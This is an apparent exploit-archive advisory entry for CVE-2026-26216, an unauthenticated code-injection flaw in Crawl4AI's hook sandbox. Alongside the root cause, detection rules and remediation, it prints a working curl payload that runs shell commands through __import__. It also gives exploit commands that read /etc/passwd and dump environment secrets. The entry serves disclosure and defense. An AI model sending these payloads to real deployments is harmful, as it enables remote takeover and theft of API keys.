Crawl4AI Unauthenticated Remote Code Execution via Crawl Hooks (CVE-2026-26216)
Published: 2026-11-27 • Researcher: joaovicdev (GitHub: joaovicdev); advisory GHSA-5882-5rx9-xgxp published by the Crawl4AI project (unclecode)
- Severity
- Critical
- CVE
- CVE-2026-26216 / GHSA-5882-5rx9-xgxp
- Category
- web
- Affected product
- Crawl4AI — open-source LLM-friendly crawler/scraper, Docker API server (POST /crawl endpoint)
- Affected versions
- All versions before 0.8.0 (NVD range EndExcluding 0.8.0); fixed in 0.8.0
- Disclosed
- 2026-11-27
- Patch status
- Patched
Tags
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-26216
- https://github.com/unclecode/crawl4ai/security/advisories/GHSA-5882-5rx9-xgxp
- https://github.com/unclecode/crawl4ai/blob/main/docs/blog/release-v0.8.0.md
- https://www.vulncheck.com/advisories/crawl4ai-docker-api-unauthenticated-remote-code-execution-via-hooks-parameter
- https://github.com/joaovicdev/EXPLOIT-CVE-2026-26216
- https://cwe.mitre.org/data/definitions/94.html
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-27 |
| Last Updated | 2026-07-25 (upstream commit 8b62fd0cd613e5231c58b2390c8765bc007d44fb, “PoC + exploit for CVE-2026-26216 (Crawl4AI unauthenticated RCE via hooks)”) |
| Author / Researcher | joaovicdev (GitHub: joaovicdev); advisory GHSA-5882-5rx9-xgxp published by the Crawl4AI project (unclecode) |
| CVE / Advisory | CVE-2026-26216 / GHSA-5882-5rx9-xgxp |
| Category | web |
| Severity | Critical |
| CVSS Score | 10.0 (CVSSv3.1, NVD record); EPSS 0.0639 |
| Status | PoC (complete end-to-end exploit against the bundled reproduction; no run against the real Crawl4AI image is documented upstream) |
| Tags | crawl4ai, code-injection, CWE-94, python, sandbox-escape, builtins-allowlist, unauthenticated, rce, docker, llm-tooling |
| Related | pocs/web/2026-07-27_cve-2026-53753-crawl4ai-sandbox-escape-rce/ — a different Crawl4AI sandbox-escape CVE in the same product |
Affected Target
| Field | Value |
|---|---|
| Software / System | Crawl4AI — open-source LLM-friendly crawler/scraper, Docker API server (POST /crawl endpoint) |
| Versions Affected | All versions before 0.8.0 (NVD range EndExcluding 0.8.0); fixed in 0.8.0 |
| Language / Platform | Python 3 application (FastAPI/uvicorn in the reproduction) shipped as a Docker container that runs as root |
| Authentication Required | No — the shipped Docker deployment has JWT auth disabled by default |
| Network Access Required | Yes — HTTP reachability to the Crawl4AI API port (default 11235) |
Summary
Crawl4AI before 0.8.0 accepts Python source code in the hooks parameter of the POST /crawl endpoint and executes it server side. The hook runs inside a do-it-yourself sandbox that is only a restricted builtins dictionary, and that dictionary still contains the import function, so a single call reaches the entire Python standard library. From there the attacker runs arbitrary shell commands as root in the container without any authentication, and the command output is returned in the crawl response. The archived repository contains the working exploit client plus a self-contained reproduction of the vulnerable server so the chain can be demonstrated on a lab host.
Vulnerability Details
Root Cause
The crawl request schema carries a hooks object whose code field maps event names to Python source. In the reproduction, HookManager.register_from_code compiles that string and runs it with exec against a globals dictionary whose builtins is the ALLOWED_BUILTINS allowlist. The allowlist removes open, eval, exec and compile, which makes a naive attempt such as open(’/etc/passwd’) fail and gives the impression that the hook sandbox is effective. However import was left in the list alongside harmless entries such as len, str and range. Because import is the primitive that loads any module, one call such as import(‘os’).system(…) or a subprocess import escapes the allowlist entirely and the whole sandbox becomes decorative. NVD classifies the flaw as CWE-94 (improper control of generation of code).
Attack Vector
A single unauthenticated HTTP request to the Docker API: POST /crawl with Content-Type application/json and a body of the form {“urls”: [“https://example.com”], “hooks”: {“code”: {“on_page_context_created”: “async def hook(page, context, **kwargs): …”}}}. The server registers the supplied source as the hook for the named lifecycle event and then executes it when that event fires during the crawl. The reproduction captures standard output during hook execution and returns it in the server_log field of the JSON response, which is the exfiltration channel.
Impact
Arbitrary command execution as root inside the Crawl4AI container. The attacker can read and write arbitrary files, dump process environment variables and thereby steal OPENAI_API_KEY and internal tokens, kill processes, and use the container’s network position to pivot into internal services. Since no credentials are required, any client that can reach port 11235 has full control of the deployment, and because the vulnerability sits in the core request handler it affects every crawl feature rather than one optional plugin.
Environment / Lab Setup
OS: Linux host with Docker Engine and Docker Compose
Target: Crawl4AI < 0.8.0; the bundled reproduction (crawl4ai-vuln:0.7.4) on http://localhost:11235
Attacker: Any host with Python 3.8+ (the exploit client uses only the standard library)
Tools: docker, docker compose, python3, curlSetup Steps
| |
The bundled Dockerfile sets two obviously fake placeholder environment variables (OPENAI_API_KEY and CRAWL4AI_INTERNAL_TOKEN) purely so the environment-variable exfiltration step has something to return. They are not real credentials and must not be replaced with any.
Proof of Concept
Step-by-Step Reproduction
Start the vulnerable server — the compose file builds vulnerable-app and publishes port 11235.
Shell script1docker compose up -d --buildRun the full demonstration — the client first shows that a direct open() call is blocked, then bypasses the sandbox through import and runs id, reads /etc/passwd, dumps environment variables and writes a file in the container.
Shell script1python3 exploit.py --target http://localhost:11235 --demoRun a single command — the hook event can also be chosen explicitly.
Shell script1python3 exploit.py --target http://localhost:11235 --cmd "id; hostname; env" --event on_page_context_createdOr send the raw request by hand — the payload is a plain JSON document; the hook must define a callable named hook.
Shell script1 2 3curl -s http://localhost:11235/crawl \ -H 'Content-Type: application/json' \ -d '{"urls":["https://example.com"],"hooks":{"code":{"on_page_context_created":"async def hook(page, context, **kwargs):\n __import__(\"os\").system(\"id\")\n return page"}}}'
Exploit Code
See
exploit.pyin this folder for the full client. The generated hook body is:
| |
Expected Output
==================================================================
Unauthenticated RCE PoC — CVE-2026-26216 (Crawl4AI hooks)
==================================================================
[*] Target: http://localhost:11235
[+] /health -> 200 {"status":"ok","version":"0.7.4-vuln"}
[1] NAIVE attempt: use open('/etc/passwd') directly
(the sandbox removed open() -> should fail)
-> BLOCKED by the sandbox, as expected: [hook error] ...
[2] BYPASS via __import__('subprocess') — process identity
=== STDOUT ===
uid=0(root) gid=0(root) groups=0(root)
root
a1b2c3d4e5f6
Linux a1b2c3d4e5f6 6.8.0-... x86_64 GNU/Linux
[3] Read /etc/passwd (via shell, bypassing the blocked open())
=== STDOUT ===
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
[4] Exfiltrate environment variables (API keys, tokens)
=== STDOUT ===
OPENAI_API_KEY=sk-proj-FAKE-secret-do-servidor-de-producao-1234567890
CRAWL4AI_INTERNAL_TOKEN=internal-jwt-signing-key-super-secreto
[5] Write a file in the container (arbitrary write proof)
=== STDOUT ===
-rw-r--r-- 1 root root 26 ... /tmp/PWNED
pwned by CVE-2026-26216Container hostname, kernel string and the two secret values are illustrative; the last two are the fake placeholders baked into the bundled Dockerfile.
Detection & Indicators of Compromise
POST /crawl HTTP/1.1 ... "hooks":{"code":{...
POST /crawl with a JSON body whose quoted code contains __import__, exec(, subprocess, os.system
POST /crawl from an address that never used the API before, often from cloud egress ranges
Crawl responses whose server_log field contains shell output (uid=, root:x:0:0, environment dumps)
Unexpected files written under /tmp or the application directory in the container
Child processes spawned by the crawl service (subprocess.run with shell=True)
Outbound connections from the container to internal ranges it normally does not touchSIEM / IDS Rule (example):
alert http any any -> any any (msg:"Possible CVE-2026-26216 Crawl4AI hook code injection"; flow:to_server,established; content:"POST"; http_method; content:"/crawl"; http_uri; content:"hooks"; http_client_body; content:"__import__"; http_client_body; reference:cve,2026-26216; sid:9026216; rev:1;)Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade to Crawl4AI 0.8.0 or later. The fix removes import (together with eval, exec and open) from the allowed builtins and disables hooks by default, requiring an explicit CRAWL4AI_HOOKS_ENABLED=true opt-in. |
| Workaround | If upgrading is not possible, remove import from the hook builtins allowlist and disable the hooks parameter entirely. Never expose the Crawl4AI API port to the internet; front it with authentication, a VPN or a management network. |
| Config Hardening | Enable JWT authentication on the API, do not publish port 11235 beyond localhost, run the container as a non-root user with a read-only root filesystem and dropped capabilities, apply a seccomp profile, and keep the service’s environment free of long-lived provider keys (use scoped, rotated credentials). Treat builtins allowlists as no isolation at all; untrusted code needs gVisor, a microVM or a separate network-less process. |
References
- CVE-2026-26216 — NVD
- GitHub Advisory GHSA-5882-5rx9-xgxp — Crawl4AI
- Crawl4AI 0.8.0 release notes (fix and hook behaviour change)
- VulnCheck advisory — Crawl4AI Docker API unauthenticated RCE via hooks parameter
- Source repository — joaovicdev/EXPLOIT-CVE-2026-26216
- MITRE CWE-94: Improper Control of Generation of Code
Files In This Entry
docker-compose.yml service definition for the reproduction
exploit.py exploit client (DISCLAIMER header added)
upstream-README.md upstream README, verbatim (Portuguese)
vulnerable-app/Dockerfile vulnerable image, runs as root, fake demo secrets
vulnerable-app/server.py FastAPI surface: unauthenticated POST /crawl
vulnerable-app/hook_manager.py the builtins allowlist containing __import__
vulnerable-app/requirements.txt fixed dependency pins for the reproductionNotes
Auto-prepared on 2026-11-27 from https://github.com/joaovicdev/EXPLOIT-CVE-2026-26216 (0 stars, 8 tracked files, single commit 8b62fd0, no LICENSE file).
Review verdict: ingested. The repository ships genuine exploit code, not a scanner or a version check: a standard-library client that sends a crafted hook body to a live endpoint and reads the command output back from the response, plus a self-contained target so the chain is reproducible. The demonstration deliberately contrasts the blocked open() attempt with the successful import bypass, which is exactly the point of the advisory. There is no C2, persistence, evasion, credential-stealing, mining or botnet component anywhere in the tree, and no binary or archive is present, so every file could be copied. The only content not carried over is .git and .gitignore. The exploit.py received a four-line authorized-use header; the server-side reproduction files are unmodified.
License: the upstream repository has no LICENSE file, so copyright stays with joaovicdev and no reuse rights are granted; the archived copies are kept for research and reference only. The upstream README is written in Portuguese and is archived verbatim without translation (its exploit path is exploit/exploit.py; the archived copy sits at the entry root as exploit.py, while the lab tree keeps the vulnerable-app/ layout that docker-compose.yml expects).
Limitations: the bundled vulnerable-app is a deliberately lean reproduction of the Crawl4AI request path. It keeps the FastAPI surface and the exact sandbox construct of the advisory, but it does not start Chromium/Playwright and it fakes the page and browser context objects, so the hook fires against placeholder objects rather than a real crawl. The upstream author does not record a run against the official unclecode/crawl4ai image, which is why the status is PoC rather than Weaponized. Hook support and the reachable hook event names can differ between real Crawl4AI releases, and a deployment with JWT enabled or hooks disabled is not affected through this endpoint. The two environment variables in the Dockerfile are obvious fake placeholders included to make the exfiltration step visible, not real secrets. No exploit was executed while preparing this entry, so the output shown above is the flow the script prints, with host, kernel and secret values replaced by illustrative placeholders.
| |